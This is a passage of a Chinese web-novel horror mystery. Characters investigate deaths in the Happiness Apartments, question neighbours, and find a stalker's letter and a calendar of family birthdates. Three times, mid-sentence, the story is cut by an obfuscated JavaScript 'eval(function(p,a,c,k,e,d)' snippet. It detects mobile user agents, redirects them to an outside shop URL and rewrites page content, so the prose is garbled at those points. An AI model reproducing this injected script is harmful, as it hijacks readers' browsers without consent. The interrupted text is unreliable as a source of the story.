齐念儿还不知道死亡到底是什么,妈妈告诉她,他们不会再回来了。 可是妈妈骗人,他们现在就在叫她。 他们来找她一起去玩捉迷藏了! 齐念儿看了看襁褓里的弟弟,奇怪的事发生了,弟弟停止了哭泣,他那双又黑又大的眼睛静静地睁着,一眨不眨。 像是要对她说什么话。 “你也想玩对不对?” 她带着弟弟悄悄推开大门:“那你不要哭哦。” 夜里的幸福公寓好像一个新的世界,她想起了小时候看过的童话故事,她也进入了魔法世界吗? “你们在哪?” 她慢慢下了楼,可不管是一楼还是二楼,都没有小伙伴们的身影,她想起了妈妈。 要是妈妈知道她把弟弟带出来,肯定要骂死她! 她后知后觉开始害怕。 “我们、我们回去吧……” 齐念儿带着弟弟往楼上走,上到二楼时她有点累了,弟弟虽然生着病,但营养好,胖乎乎的,很有份量,她坐在楼梯上休息了一会儿。 怪物…就是这时候出现的。 55. 幸福公寓04 “我当时就躲在婉婉姐姐的鞋柜里,等它离开之后就立马跑回家了。” 她说得简单,却足以见当时的惊心动魄。 很难想象一个八九岁的小女孩是怎么带着一个还在襁褓的弟弟,从怪物手中逃脱的。 郝荨感叹:“你不止能保护自己,还能保护弟弟,真的很厉害。” 女孩抿起嘴露出一个羞涩的笑。 “姐姐,其实我觉得金叔叔很奇怪。” “哦?”郝荨不动声色道,“哪里奇怪?” 齐念儿凑到她跟前:“筱筱跟我说,她爸爸最近和她妈妈总是吵架,有时候还会打人!” “他是个坏爸爸!” 她很气愤,但转而又有些困惑:“可是金叔叔以前人很好的,有次我惹妈妈生气,还是金叔叔劝妈妈不要再打我了。” 方柚柚敏锐:“再?” 她和郝荨对视了一眼,郝荨弯下腰,轻声问她:“你妈妈总是打你吗?” 齐念儿刚要回答,隔壁突然传来了方芳的声音:“念儿?” “念儿,是有人来了吗?” 齐念儿脸色一白。 “你们快走,别被我妈妈发现了!” 她带着几人重新钻回了304的小阳台,主卧里传来窸窸窣窣的穿衣声。 “没有人!是我去隔壁给弟弟拿东西!” 齐念儿跟赶小鸡似的把大家推到门口,趿拉着拖鞋的脚步声越来越近,她急得团团转,最后像是做了什么决定似的快步进了主卧。 “念儿?” 几人连忙出门,关门的瞬间仿佛听到了摔东西的声音。 郝荨有些犹豫:“她妈妈不会又打她吧?” 方柚柚贴在门上听了半天,什么也没听到,倒是过了一会儿,婴儿好像被吵醒了,哭的声音仿佛震天响。 法瑟揉了揉鼻子,打了个喷嚏。 郝荨:“你感冒了?” 法瑟抬眼望向四周:“有奇怪的味道。” 三楼的水汽很重,或许是屋顶防水做的不好,天花板上生出许多霉菌,一晃眼看去,那些霉菌像是一张张正在呐喊的扭曲人脸。 304的大门快速开了条缝,齐念儿的头从里钻了出来。 她的眼睛红红的,像是哭过。 “你还好吗?” 齐念儿没有回答,只是默默地看了她和方柚柚一会儿。 缝隙里传来了方芳哄齐小宝的歌声。 “姐姐,这个世界上……会有人罪孽深重到连地狱都不敢收吗?” “念儿?你跟谁说话呢?” 齐念儿朝他们挤出了个笑,随后关上了门。 罪孽深重之人……是指金顺吗? 她在暗示什么? 法瑟忽然扭过头,顶着走廊另一端一动不动,顺着视线望去,那里的灯坏了,暗处里似乎蹲着一个黑影。 郝荨:“那是……人?” 很难承认那个蹲在那蛄蛹着不知道在干什么还时不时发出些怪声的“东西”……是人。 郝荨“啪”地打开手电,刺目的光射出,那人霎时发出一声惨叫。 “啊!” 光线照耀下,这竟然是个年轻女人。 “你是……?” 女人的头发非常长,还在往下滴水,就这么直直地垂落在布满灰尘的地上,她的皮肤是病态的苍白,毫无血色。 如果不是她还有影子的话,郝荨真的会怀疑她还是不是活人。 “关灯!关灯!” 她大叫着,向郝荨冲了过来。 郝荨按掉手电筒,连连后退,一块碎砖“扑通”一下砸在那女人跟前,止住了她的脚步。 回过头,法瑟抬起的脚还没收回。 “谢了。” 郝荨目不转睛地盯着那个女人瞧: “你……” 她想起之前田全说的话——“201的大学生和305那个女的有时候也会跟他们一起玩捉迷藏”。 “你是305的住户吗?” 她专注地看向这个陌生女人,她看起来疯疯癫癫的,也不知道能不能听懂她说的话。 关掉灯后,这个女人的精神状态似乎稳定了些,她慢慢走了过来,绕着她们转了一圈,细细嗅闻着。 法瑟下意识后退,手腕一旋,匕首出现在他手中。 “等下。” 郝荨按住他的手,女人似乎能感受到杀意,她缩起脖子,又凑到郝荨脖间闻了半天。 她强忍住没有后退,脖颈起了一大片鸡皮疙瘩。 忽然,那女人弹跳起来,后退了一大步。 “你们去了不该去的地方!” 她声音嘶哑,神态中满是恐慌。 “什么?” 郝荨一把抓住她:“什么地方?” 她惊慌失措,没被抓住的那只手疯狂抓挠着自己的口鼻。 “死亡…死亡的味道…!不要,这里…这里都是……离我远点……离我远点!!!” 她拼命挣扎,郝荨一时不察被她挣脱,那女人跑得飞快,几乎是一眨眼的功夫就连滚带爬跑进了305。 大门“砰”地一下被用力甩上。 过了几秒,门又被幽幽打开。 “你们闻到了吗?” 方柚柚努力嗅了半天,除了三楼的空气不新鲜外,什么也没闻出来。 “哈哈哈哈哈……” 她神经质地笑了起来,嘴角咧到最大,眼里却没有半分笑意,矛盾又诡异。 “我们身上都有味道……你会死…他会死……我也会死,我们都会死!哈哈哈哈哈哈……!” 门再次被甩上,这次,她没有再打开。 方柚柚很茫然,她感觉自己好像听到了什么,又好像什么都没听到。 这就是精神病人的世界吗? 郝荨倒不这么觉得,她细细思索了一会儿,提议道:“站在这也不是个办法,万一那东西又回来呢?不如我们先回去?” 几人安全回到了102号房。 她躺在床上辗转反侧,为什么超度没用? 是数目不对,还是缺少了某种条件? 郝荨还想再聊两句,回应她的是却是方柚柚睡着的呼吸声。 秒睡! 真羡慕年轻人的睡眠质量,郝荨叹了口气,没过多久,也陷入了睡梦之中…… 火,好大的火。 木质家具在火焰中发出噼里啪啦的燃烧声,楼梯上浓烟遍布,刺得人眼睛都睁不开。 她听到自己大喊:“它要来了,我们快走!” 楼梯滚烫,时不时还有断裂的木头带着火星倒下,身后之人跟上,他们快速向上。 “这里!” 她拐过弯,那间房门开着,洗手间水流哗哗。 “救命!救命!!!” 有谁在呼喊着,不断后退。 她正要上前,后心忽然一痛,她缓缓低下头,半截刀尖穿过她的身体捅了出来—— 郝荨骤然惊醒,迅速打量四周,自己还在那间破旧的小屋中,方柚柚在她身边沉沉睡着……是梦? 【玩家使用技能:罅隙窥视】 她睁大双眼,不敢置信地望着弹出的系统信息。 【罅隙窥视:无数条相似的世界线中,总有那么一个幸运儿能在时空罅隙中窥视到自己的命运,被动技,任意一场游戏中的任意时刻,你会看到未来的自己。】 她……会在这场游戏中死亡? 郝荨摸上心口,那股痛意仿佛还残留在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“丁婆怎么又骂人啦?谁招惹她了?” “小王去摆摊啊,”田全招呼道,“嗨,不还是那回事嘛,说有人偷她的果子呗!要我说啊,那树不如锯了算了,天天骂人,谁受得了啊!” 中年女人笑意吟吟:“那你去跟丁婆说呀。” 田全立刻摇头,他也就是随便说说。 “你又不是不知道,她把那些花花草草都当成自己小孩看待的,还我去说,我不要命啦!” “行了,我去摆摊了,老何那边就拜托你了。” “成,你放心吧。” 女人弯下腰,齐念儿把包挂在她脖子上。 “谢谢你啊念儿,快回去吧。” 齐念儿点点头,但她没有动,而是在旁边磨磨蹭蹭。 田全也没有在意,哪有不爱听八卦的小孩呢,他目送那女人离开后才开口:“咱们这说是幸福公寓,其实留下的都是苦命人,小王日子也苦得很嘞,他老公之前开大车的,为了赚钱养闺女没日没夜的接活,结果有次晚上出车太困了,说是什么……疲劳驾驶,反正,两条腿都没了。” “她又要养闺女又要养男人,还在月子就爬起来出去摆摊,一摆就是二十年,不过好在苦尽甘来,生了个出息女儿,在外地读大学呢,还说毕业之后要把他们接去大城市。” 田全语气有些羡慕,但他很快又想起自己儿子:“当然,比我们耀耀稍微差那么一点点,也不错了!” 正说着,201的施婉婉从外头回来了,她还穿着昨天那条漂亮的白裙子,走路有些歪歪扭扭。 路过田全时,用眼角余光瞥了他一眼,田全的脸瞬间阴了下来。 56. 幸福公寓05 “小施回来啦?” 田全的阴沉神色只停留了一瞬,细看去时又仿佛是她的幻觉。 “嗯。” 施婉婉朝公寓内走了两步,忽然想起了什么又退了回来。 她从小手包里掏出几个硬币递给齐念儿:“喏,帮姐姐去买点早饭,多的都是小费。” 齐念儿喜出望外,立刻拿着钱就往外跑。 田全笑眯眯的:“这么点事还给小费啊?你这钱赚得也不容易,能省点就省点吧。” 施婉婉站定,那张漂亮的脸上再也不见半点温柔。 她似乎很想说什么,但又顾忌还有外人在,最后只是嫌弃地看了他一眼,不阴不阳地给了个软钉子: “有时间自己多赚点钱吧。” 随后她又对着郝荨扬起笑容,她的脸实在漂亮,哪怕是嫌弃也没有太多攻击性:“大师辛苦啦,我下午还有课,先回去换衣服了。” 说完,她便迈步走进了公寓中。 田全脸上阴晴不定,低声啐了口唾沫道:“乡巴佬。” 话说出口,他意识到自己失言,下意识解释:“这……也不是我对她有意见,楼里人都知道,她明明是山里出来的,作风却…却那样,听说在学校和舍友关系也不好,不然也不能住到咱们这儿来……嗨,不说了,搞得好像我是什么长舌妇一样!” 郝荨会意,这个田全算不上什么大好人,却也算不上什么大坏人,就是走马路上随随便便就能碰到的那种中年男人,瞧不起漂亮女孩,却又敬佩帮助过他的女人,是个矛盾的普通人。 “没事,其实我们是想问问住在305的那个姑娘,她看起来有点……嗯。” 见她转移话题,田全松了口气。 “你们碰上她了啊,”他低下头,鬼鬼祟祟道,“我跟你们说,她这里——” 他指了指脑子。 “有点不正常!” 郝荨:“你是说她精神有问题吗?” 田全耸耸肩:“谁知道!我们只知道她叫赵清溪,据她自己说,她是个什么…作家!可谁也没见过她写的东西,平日里也不怎么出门,神神叨叨的。” “哦,对了!” 田全想起什么:“老金死的前几天,赵清溪还说他身上有什么……死亡的味道,老金当时那叫一个生气,我从来没见他发过这么大的火,两人大吵一架,当时我们还说呢,这小作家是不是写东西把脑子写坏了,谁能想到这没过几天,老金居然真的死了!” 昨夜超度失败,郝荨就有所怀疑,电视剧里头不是都说鬼如果死的时候有怨气,就会停留在死去的地方作祟吗? 或许,是要完成金顺一家的心愿才能超度成功? 那怪物是玩捉迷藏时出现的,是金顺家小孩化作而成吗? 他们会有什么怨气?杀死他们的金顺也早就已经跳楼死亡,一家人齐齐整整…… 除非,他们的死另有隐情。 几人告别田全后重新回了趟金顺家,白天的204看起来比晚上要正常许多,地面上的血迹厚厚一层,堆叠着许多脚印。 她躲藏的那个衣柜依然立在那里,郝荨还记得那条缝隙。 昨天,怪物就是站在她现在的位置向里看的。 正想着,缝隙里忽然有张惨白的小脸一闪而过。 郝荨:! 她一把拉开柜门,柜门里没有她想象中的小鬼,只有一只沾着血迹的洋娃娃。 洋娃娃端坐在衣柜中,周围挂满了衣服,塞得鼓鼓囊囊。 如果她没记错的话——这个娃娃应该在餐厅? 昨天他们见怪物上楼,将洋娃娃随手一扔便跑上了楼,可这个娃娃现在却在衣柜里出现,是鬼放的? 还是……人? 方柚柚:“你们快来!” 郝荨立刻赶去,只见方柚柚蹲在阳台上不知道在干什么。 “你们看!” 幸福公寓是所老公寓,除了一楼外,阳台都没有封窗,保持着半开放的状态,下半截用钢筋围栏围起,方柚柚此刻指着的就是围栏上方的半截墙壁。 墙面上刷的白漆已经掉落了许多,脏兮兮的,郝荨眯着眼看了半天才看到了小半个脚印。 “金顺的?” 可能是为了安全,墙面高度比较高,除非金顺有着非同常人的腿长和柔韧度,不然翻墙时必定需要蹬墙借力。 不,等等。 郝荨:“这个鞋——” 法瑟:“反的?” 两人同时开口,正常情况下,翻墙人只会留下半个前脚掌的鞋印,上窄下宽,可现在墙上的这个,上宽下窄,花纹方向朝下,明显是后脚跟才会留下的印子。 就像是倒着摔下似的。 “难道金顺不是自杀?” 几人面面相觑,他们进的不是灵异副本吗,这怎么突然变成刑侦悬疑了? “总之,我们现在关于超度的线索还太少,只能走一步看一步了。” 她看向方柚柚,却发现方柚柚的视线越过围栏不知道在看些什么。 “柚柚?” 方柚柚回过头,缓缓道:“我感觉有谁在看我。” 郝荨疑惑,蹲到她身边看去,阳台下面就是金顺摔死的铁栅栏,栅栏外一个人也没有,栅栏内则是几丛灌木丛,再往里就是丁婆那颗探出头的果树。 灌木丛动了动,那只棕黄色的大狗跑了出来,绕着自己的尾巴转了几圈。 “汪!” “狗狗好奇吧。” 方柚柚放下心来,几人将屋子重新搜索了一遍,没有搜到什么有用的,倒是搜到了老人偷偷藏起来的一本旧存折,里头还有一百多块,想来,应该是老人给自己存的棺材本。 再路过阳台时,郝荨随意往下扫了一眼。 可就这一眼,寒气迅速从脚底传到了她的天灵盖。 ……她看到了一张属于死人的脸。 而那张脸两小时前还在喘着气骂骂咧咧。 丁婆躺在那里,头靠在树上,脸色青白,眼睛和嘴巴死死张着,一动不动。 一阵风吹来,树叶飘动,又将那张脸遮了起来。 “啊啊啊啊啊——!!!” 巨大的尖叫声从楼下传来,老太太死了! “丁婆!” “丁婆没了?!” “死了?老太太死了?!” 这一声尖叫像是瞬间点燃了这栋腐朽的公寓,听到声音的都跑到了103门口,田全用力晃动着那扇防盗门。 防盗门看起来很脆弱,实际结实得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14285061|146669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很,撞都撞不开。 “丁婆!丁婆你醒醒!” 田全大声叫喊着,可阳台上老太太的身影依然纹丝不动,所有人心里都重重跳了下,心知老太太多半凶多吉少。 方芳在后头着急上火:“这怎么办呀?你有老太太钥匙吗?” 田全踹了一脚防盗门,没有将门踹开,翻到踢到了自己的脚趾,单脚抱着跳了几下,他莫名其妙道:“我怎么会有?!” “你不是和老太太关系很好吗?不会是不想给老太太办后事才说没有吧?” 幸福公寓里早年和老太太关系好的老头老太早就没了大半,剩下的也被子女接走了,老太太脾气越来越坏,逮谁骂谁,狗路过了都要夹着尾巴走路,也就田全还能跟她说上几句话,她还见过他给老太太送吃的呢。 “你乱说什么!” “别吵了!” 施婉婉匆匆赶来,手里还拎着半根没吃完的油条,没好气道:“先想办法进去吧。” “这是怎么了?”一个穿着大褂的精瘦男人从门外走进,“老婆?” 他留着长长的胡须,身板硬挺,看起来有点仙风道骨的味道。 见他到来,方芳像是找到了主心骨似的,瞬间软和下来。 “老太太好像不行了,”她把躲在她身后的齐念儿拽出,“念儿在外头看到的!” 这应该是方芳的丈夫、齐念儿和齐小宝的爸爸齐永亮,郝荨迅速打量了他几眼,没看出什么来,只模糊觉得对方看起来不大像开麻将馆的。 “什么?!”齐永亮大吃一惊,他挤开田全用力拍了拍防盗门。 “丁婆?丁婆!” 丁婆果真毫无反应。 “那还不快点进去瞧瞧?” 正当众人不知该如何是好时,齐念儿小声开口:“其实……丁婆婆的阳台好像可以进。” “对啊!” 田全顿时想起丁婆天天骂有人偷她的菜和果子,那总该有个进去偷的通道吧! 几人乱哄哄一并涌到了公寓外,为了防盗,幸福公寓的一楼阳台统一做了封窗,但因为丁婆种的果树长势太好直接长出了窗外,那扇窗户没有被彻底封死。 田全试着爬了一下:“不行,这缝太小了,进不去!” “唉呀你让开!” 方芳把他拉开,自己试了一下,也不行,这缝隙宽度也就差不多二十几三十公分不到,还被树挡了大半,要爬的话得从树枝上方爬进,她不算很高,但以她的身形也无法进入,恐怕只有小孩才能进去。 灌木丛沙沙作响,方柚柚低下头看去,是那只流浪大狗,它似乎察觉到了什么,趴在树丛下一声不吭。 她伸出手凑到大狗鼻子前,大狗伸出舌头轻轻舔了舔,像是在安慰她。 方柚柚摸了摸狗头,忽觉不对,怎么这么安静? 她小心回过头,却发现大家都在看着自己,眼神热切。 方柚柚:? 郝荨问:“柚柚,你会爬树吗?” 方柚柚那双死鱼眼瞬间睁大,我??? “我、我想试一下……” 弱弱的女声响起,众人回过头,说话的竟然是齐念儿。 她有些紧张,忍不住啃着指甲道:“丁婆婆是好人,我不想她死。” 57. 幸福公寓06 以体型来说,当然是齐念儿更适合翻窗,可她年纪太小,大家都担心她进去之后看到丁婆的尸体会不会害怕。 在她的坚持下,大家才同意让她试一下。 田全叉在她腋下,将齐念儿送到了树枝上,那树枝看着很纤细,在齐念儿的重量下摇摇欲坠。 齐念儿看着不大会爬树,翻窗时脚一滑差点摔了,好在田全和施婉婉一左一右托住了她,她才翻进了窗户。 刚落地,摇椅突然发出了一声刺耳的“嘎吱”声。 齐念儿一愣,她抬头望去,却见丁婆那双瞪着的眼睛很慢、很慢地眨了一下。 丁婆如同蒲扇一般的粗糙大手用力抓住扶手,撑起了那副僵硬的身躯。 死去的丁婆竟然坐了起来! 丁婆那张布满皱纹的脸凑近齐念儿,深深吸了一口气—— “要死啊你!” 声如洪钟,振聋发聩! 正在紧张往里看的田全发出了一声字正腔圆的国骂: “丁婆!你没死啊?!” “我没死!你爹你娘还有你和你儿子死光了我都不会死!当着…当着我的面都敢偷东西!咳咳咳——” 丁婆大喘着气,连骂了一串连重复都不带重复的,齐念儿“哇”地一声哭了出来。 施婉婉扒拉着窗户叫道:“别打人呀!人家小女孩不是去偷东西的!” 田全也吓了一跳,可怎么解释丁婆都听不进去,现在甚至四处找趁手的家伙要打齐念儿。 “咳咳咳……看我不打死你个鳖孙!” 屋内屋外吵成了一团,唯独一处角落分外安静,郝荨借着法瑟身形的遮挡,不着痕迹地望去,齐永亮和方芳笔直地站着,神色冷漠,置身事外,仿佛在里面要被打的不是他们的女儿似的。 方芳的眼神格外复杂,夹杂了许多看不懂的东西。 齐永亮伸手揽住她,像是安慰……又像是钳制。 田全终于发现了那里的不对,他不可思议道:“不是,你们就这么干看着?!拦拦啊——” “爸!妈!救我——” 屋内,齐念儿凄厉的尖叫声响起,方芳像是这才反应过来,几步冲了上去:“念儿!快跑!” 好在齐念儿虽然长得瘦小,跑得却很快,身形灵巧,被妈妈提醒了之后她一溜烟就跑到了门口,打开防盗门冲了出去。 丁婆大吼:“再有下次我就毒死你们这群小偷!” 她大口大口地喘着气,倒在了摇椅上。 见老太太没事,还有精力骂人,大家都松了口气。 “散了散了。” 所有人都各回各家,郝荨盯着齐永亮和方芳的背影看了许久,想到齐念儿那个新出生的弟弟,她有了个不太好的猜测。 她抬起头望向这栋公寓,幸福公寓从外头看丝毫看不出半分诡异,深红色的外墙经过时间洗刷已经渐渐褪色,几只鸟雀从上空飞过。 “啪。” 不知名液体落在她头顶,郝荨一顿,伸手摸了把。 幸好只是水滴。 一颗头陡然从三楼伸出,吓了她一跳。 头旁又伸出一只手,手指将长发拢到耳后,露出了昨夜见过的那张脸——是那个叫做赵清溪的作家。 白天的赵清溪看起来要安静许多,她安静地望着下面,不知道是在看她还是在看其他什么。 郝荨扬起笑脸,冲她挥了挥手,赵清溪一怔,也迟疑着伸出手来。 “知道一个优秀的游戏应该有什么标准吗?” 法瑟看向她,郝荨回过头:“标准就是——没有无用的线索,同理,也不应当有无用的NPC,我们去拜访一下大家吧?” * 三人绕回正门,方柚柚有些疑惑,那只流浪狗好像赖上她了,一直不远不近地跟在后头。 “咚咚。” 郝荨敲了敲101的大门,几秒后,嘟囔声伴随着“吧唧吧唧”的拖鞋声从门内传来: “叫你别去别去偏要去,钥匙也不带还要我——” 话音在门打开的瞬间戛然而止。 “是你们啊……哈哈,”田全干笑两声,“大师们有什么事吗?” “没什么,我们就是想再打听打听咱们楼的事。” 郝荨按住门:“方便进去聊吗?” “方便!当然方便……” 他松开一直握紧的门把,转身进了屋内:“我正做饭呢,大师饿吗?要不一块吃?” 汗水从他不剩几根头发的后脑滑下,郝荨装作没看见,她挤进门去:“那多不好意思啊,少辣,谢谢。” 田全:…… 你不好意思别来啊! 他给大家倒完水,局促地坐下:“大师,究竟是什么事啊?” “哦,没什么。” 郝荨眼睛一扫,上次来时紧紧关闭的卧室门留了条缝,没有关好。 “其实,我们昨天超度失败了。” “什么?!” 田全反应很大:“怎么…怎么会失败呢?” 郝荨叹了口气:“唉,本来都要成功了,可惜啊……” “可惜什么?” 田全追问,郝荨却避之不谈。 “我们这次来,其实是想问问你,幸福公寓里还发生过什么不寻常的事吗?” “这……”田全仔细想了想,“咱们公寓楼都是多年的老住户了,没发生过什么事啊……” 郝荨挑眉:“是吗?金顺——可不是这么说的哦。” 田全的脸上有一瞬间的闪躲。 闪躲?为什么是闪躲? “他、他说什么了?” 郝荨开始胡编乱造:“他说,他有心愿未了,不愿意下去啊,你知道他有什么心愿吗?” 田全愣住:“他不是自杀吗?自杀的人……也会有心愿未了?” 见他脸上的表情不似作假,郝荨皱了皱眉,方向错了? 她转移话题:“那首童谣呢?你有什么了解吗?” “那就是他们小孩儿玩儿的,咱们平时忙得很,小孩子就一起在楼里玩游戏,什么丢手绢啊捉迷藏啊,跟其他人家也没什么区别,至于那个童谣,我也不大清楚。” 说到这个话题,田全自然很多:“也不知道哪天起,他们就一直唱了,小孩不都这样吗?咱们小时候也是啊,什么马兰花炸学校什么的,都差不多啊。” 郝荨点点头,喝了口水。 她不经意道:“田耀又不在家啊?” 此话一出,田全的身体肉眼可见的紧绷起来。 “耀耀他……他去念书了!我们耀耀可勤奋了,放假了还天天去图书馆呢!我得给他好好补补,对了,排骨得早点下水。” 说着,他就进了厨房,不一会,就传出了剁大骨的声音。 “我跟你们说,耀耀他……” 田全的声音断断续续,厨房的位置正好处在视角盲区,郝荨试图大声跟他搭话,不知道是剁骨头的声音太大还是怎的,田全没有回应,只自顾自地夸自己儿子。 郝荨给一直神游天外的法瑟使 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14295045|146669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了个眼色,对方眨眨困倦的眼睛,闪身进了卧室。 卧室很昏暗,窗帘拉起,只有一丝光亮透过缝隙照射过来。 法瑟四处看了看,这是间很典型的单身汉住的卧室,屋里乱糟糟的,床褥不知道有多久没洗过,油腻、泛黄,零食包装袋和草纸遍地都是。 他皱起眉毛,将面罩向上拉了拉。 好脏。 桌上也乱七八糟,杂志画册都堆在一起,一点也看不出田全说的学霸乖小孩模样。 这间屋里唯一和学霸搭上点边的,只有床后挂着的一幅世界地图。 地图很大,几乎占满了整面墙。 法瑟歪头看了一会儿,这幅地图颜色发黄,字迹淡化,边角磨损的很厉害……就像是有人常常翻阅一般。 他轻巧落在床边,伸手去揭。 门外。 法瑟忙活的时候她们也没闲着,方柚柚借着身形矮身于各种柜后翻找线索,郝荨有一搭没一搭的跟田全搭话,以防对方发现不对。 眼见着门缝中法瑟揭开的手顿住,郝荨忍不住探头望去,那后头究竟是什么? “……你在看什么?” “哦我在——” 郝荨心脏漏了一拍。 她扭过头,下意识挡住门缝,只见田全手里拎着菜刀,面无表情地站在她身后。 方柚柚躲在角落,表情凝重。 郝荨弯起嘴角:“嗨!还不是田叔你做的菜太香了,我都忍不住去嗅,你儿子能有你这么好的爸爸,真是他的福气。” 田全不为所动,他提起刀质问:“那个男的呢?他是不是进卧室了?!” 这把菜刀比金顺那把快多了,磨得锃亮,郝荨甚至能从上面看到自己的脖子。 见她不说话,田全抬起脚就往卧室走,郝荨立刻上前挡住。 “没有,他肚子不舒服去厕所了。” “让开。” 田全那张老好人的脸此刻陷在阴影中,那些和善的痕迹仿佛从未出现过,气氛降至冰点。 郝荨犹豫片刻,伸手摸上了自己的木仓。 就在这时,厕所里突然传来了一阵冲水声,几人微微一愣,一齐看向了厕所。 厕所门动了动,伴随着一声轻微的“嘎吱”声,老式的厕所门被拉开,一双黑色皮靴踏了出来。 法瑟一出来,就被三双眼睛直勾勾地盯住,他顿了顿:“你们…也要上?” 郝荨嘴巴动了动,反应很快:“你看,我就说他在上厕所吧,你放心,我们很有职业道德的!只处理跟灵异事件有关的事,不该看的绝对不看!” 田全挤出一个笑,只是那笑怎么看怎么狰狞:“……也不是不让大师看,主要是耀耀吧,他学习资料多,别人进去容易弄乱,平日里他连我都不怎么让进的,要是被他知道了,可能会生气。” 郝荨点头:“没事,我们就来问问情况,那我们就先走了,还得去其他家呢。” 田全有些惊讶:“啊?那、那多不好啊,不吃了再走吗?” “早点解决大家早安心嘛。” 郝荨余光瞥到法瑟将什么塞进了口袋,她起身挡住田全的视线:“行啦,别送了,我们走了。” “这…那好吧,回头等老金的事解决,大师们一定要来尝尝我的手艺!” “一定,一定。” 几人走到门口,虚假地表演了一番你推我让,才让101的门关上。 确定田全没有偷听后,几人拐进了102。 “你找到了什么?” 58. 幸福公寓07 法瑟从口袋掏出张皱皱巴巴的信纸,看他恨不得只用指尖捏住的模样,郝荨也有点犹豫。 “什么东西?” 法瑟苦大仇深地盯着那团纸:“脏东西。” 郝荨:? 她接过纸团,这居然是一封情书。 【怎么不看我了?是害羞了吗?】 【我看到你坐车回来了,穿着我最爱的白裙子,那个男人就是你男朋友?也不怎么样。】 【从你来这里的第一天我就知道,你会是我的,现在,我已经向你走了99步,很快就会来到你身边。】 【我会拍下你美丽的睡颜,我听见你均匀的呼吸,闻过你喷过的香水……感受过你温热的皮肤。】 【我能听到,你在呼喊我的靠近。】 【遇见你以后,我就只能尝得出三种甜食,糖果、蛋糕和甜美的你。】 【今天我又做梦了,梦里全是你,你微笑的模样,你哭喊的模样,哪怕你生气的模样也能让我□□焚身。】 【你该为此负责。】 郝荨一副地铁老爷爷看手机的表情:“这是…情书?” 这么变态! “是田耀写的?” 法瑟点头,他回忆起刚刚看到的那一幕,田耀的卧室里有一副巨大的世界地图,地图背后贴了很多花里胡哨的符咒,还有许多辟邪用的桃木,角落的符咒下压着的,就是这张信纸。 “这是给谁的?”郝荨又重新看了一遍,目光停顿在“白裙子”上,“施婉婉?” 田耀喜欢施婉婉? 方柚柚:“正好,我们去问一下她。” 103重新恢复了安静,大门还停留在齐念儿逃跑时的状态,没有关好,三人纷纷将脚步放轻。 丁婆骂人实在太凶,没人敢触她霉头。 郝荨脚步一顿,那是什么? 一本万年历静静躺在大门口,可能是齐念儿跑路时撞落的。 郝荨看了阳台一眼,见丁婆躺在摇椅上,没有注意到,她迅速捡起。 这是老式的万年历,很厚一本,一开始每年都有许多天画了不同颜色的圈,奇怪的是,颜色和圈数都越来越少,到这几年,就只剩下唯一的黑色圈圈了。 方柚柚:“是生辰。” “生辰?” 方柚柚又翻了一遍,她对数字很敏感,所有画圈的日子如数据流一般在脑内交汇,最后出现了一张统计图表,她肯定道:“是的,生辰。” 她指向蓝色的圈:“这个颜色,一共有17个,红色和紫色分别是39和43,绿色是61,只有黑色,是89。” 这些数字……就是丁婆亲人的寿命。 丁婆的摇椅忽然晃动了一下,一声轻轻的“汪呜”声传来。 是小区里的那只流浪狗! 大狗从摇椅下挤出,四处嗅了嗅,忽然向他们狂奔而来: “汪汪汪!” 它一阵狂吠,郝荨立刻举起手:“嘘!嘘!别叫了!” 她紧张地看了眼丁婆,丁婆似乎是睡着了,没有任何反应。 狗狗一下扑进方柚柚怀里,给她撞了个屁股蹲。 “你怎么跑进去了?”方柚柚疑惑,她摸了摸大狗的脑袋。 这只狗狗似乎很喜欢方柚柚,郝荨小声道:“快让它别叫了!” 方柚柚想了想,伸出手去:“嘬嘬嘬。” 郝荨:…… 合着你只会这招啊?! 摇椅声越来越大,丁婆好像要醒了,郝荨立刻拽起方柚柚跑到二楼。 说来也奇怪,一离开一楼,大狗就变得安静下来。 它乖巧地跟在方柚柚脚边,一点也看不出先前狂吠的样子。 三人来到201门口,正要敲门,隔壁202的大门忽然开了。 郝荨惊讶,202不是没人住吗? 那个走出来的男人也吓了一跳,他看起来三十几岁了,头发很长,油腻腻的,还带着点潮湿的水汽,衣服也破破烂烂,像是个流浪汉。 “你是?” 男人躲开他们的视线。 “诶!等等!”郝荨想要叫住他,那人却头也不回地就快步往楼梯处走。 法瑟脚步一动,挡在他跟前。 郝荨露出了自己最亲切的笑:“你好,我们是田叔找来解决楼里怪事的。” 听到这,男人终于有了反应。 他冷笑一声:“解决?想救我们?” “我们”两个字被他拉长,一副冷嘲热讽的模样。 郝荨:“不可以吗?” 男人嗤笑:“先救你们自己吧!” 他绕过法瑟,跟被狗追似的跑下了楼。 郝荨看了眼黄色大狗,大狗只是安静地看着那个男人,靠在方柚柚脚边一动也不动。 法瑟:“要追吗?” 郝荨摇摇头,敲了敲门。 没人回应。 她侧头听了听,门里似乎有水流声。 “咚咚。” 郝荨又用力敲了敲,水声停了。 